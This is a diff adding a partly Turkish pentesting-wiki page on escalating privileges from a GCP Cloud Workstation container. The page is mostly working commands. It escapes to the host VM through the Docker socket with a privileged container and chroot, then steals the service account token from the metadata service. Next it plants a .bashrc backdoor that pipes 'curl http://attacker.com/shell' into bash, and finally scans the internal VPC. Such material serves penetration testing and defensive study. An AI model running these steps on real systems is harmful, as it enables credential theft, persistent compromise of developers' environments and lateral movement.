diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md new file mode 100644 index 000000000..4abc008bf --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -0,0 +1,96 @@ +# GCP - Cloud Workstations Privesc + + +### Container Breakout via Docker Socket (Container -> VM -> Project) + +The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token. + +**Önkoşullar:** +- Cloud Workstation terminaline erişim (SSH ile, ele geçirilmiş oturum veya çalınmış kimlik bilgileri aracılığıyla) +- Workstation yapılandırması `/var/run/docker.sock`'u mount etmeli veya privileged containers'ı etkinleştirmeli + +**Mimari bağlam:** Workstation bir container (Layer 3) olup Docker/Containerd runtime (Layer 2) üzerinde GCE VM (Layer 1) üzerinde çalışır. Docker socket, host'un container runtime'ına doğrudan erişim sağlar. + +> [!NOTE] +> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) otomatik olarak tam container escape işlemini gerçekleştirir ve sizi host VM'de root shell'e düşürür. + +
+ +Adım 1: Docker socket'i kontrol et +```bash +# Verify the Docker socket is available +ls -l /var/run/docker.sock +# Expected output: srw-rw---- 1 root docker 0 ... +``` +
+ +
+ +Adım 2: Escape ile host VM dosya sistemine + +Yetkili (privileged) bir container başlatıyoruz; host'un kök dizinini `/mnt/host` olarak bağlıyoruz. Görünürlüğü maksimize etmek için host'un ağını ve PID namespace'ini de paylaşıyoruz. +```bash +# Spawn a privileged container mounting the host's root filesystem +docker run -it --rm --privileged --net=host --pid=host \ +-v /:/mnt/host \ +alpine sh + +# Inside the new container, chroot into the host +chroot /mnt/host /bin/bash +``` +Artık **root shell on the underlying Compute Engine VM**'e sahipsiniz (Layer 1). + +
+ +
+ +Adım 3: VM service account token'ını IMDS'ten çalın +```bash +# From the host VM, query the Instance Metadata Service +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token + +# Check which service account is attached +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email + +# Check scopes (CRITICAL STEP) +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes +``` +
+ +> [!CAUTION] +> **İzinleri Kontrol Edin!** +> Ekli Service Account **Editor** olsa bile, VM erişim scope'ları tarafından kısıtlanmış olabilir. +> Eğer `https://www.googleapis.com/auth/cloud-platform` görüyorsanız, tam erişiminiz vardır. +> Eğer sadece `logging.write` ve `monitoring.write` görüyorsanız, aşağıdaki **Network Pivot** ve **Persistence** vektörleriyle sınırlısınız. + +
+ +Step 4: Achieve Persistence (Backdoor the User) + +Cloud Workstations mount a persistent disk to `/home/user`. Because the container user (usually `user`, UID 1000) matches the host user (UID 1000), you can write to the host's home directory. This allows you to backdoor the environment even if the workstation container is rebuilt. +```bash +# Check if you can write to the host's persistent home +ls -la /mnt/host/home/user/ + +# Drop a backdoor that executes next time the developer logs in +# Note: Do this from the container escape context +echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc +``` +
+ +
+ +Adım 5: Network Pivot (Internal VPC Access) + +Host ağ isim alanını (`--net=host`) paylaştığınız için artık VPC üzerinde güvenilir bir düğümsünüz. IP whitelisting'e dayalı erişime izin veren dahili servisleri tarayabilirsiniz. +```bash +# Install scanning tools on the host (if internet access allows) +apk add nmap + +# Scan the internal VPC subnet +nmap -sS -p 80,443,22 10.0.0.0/8 +``` +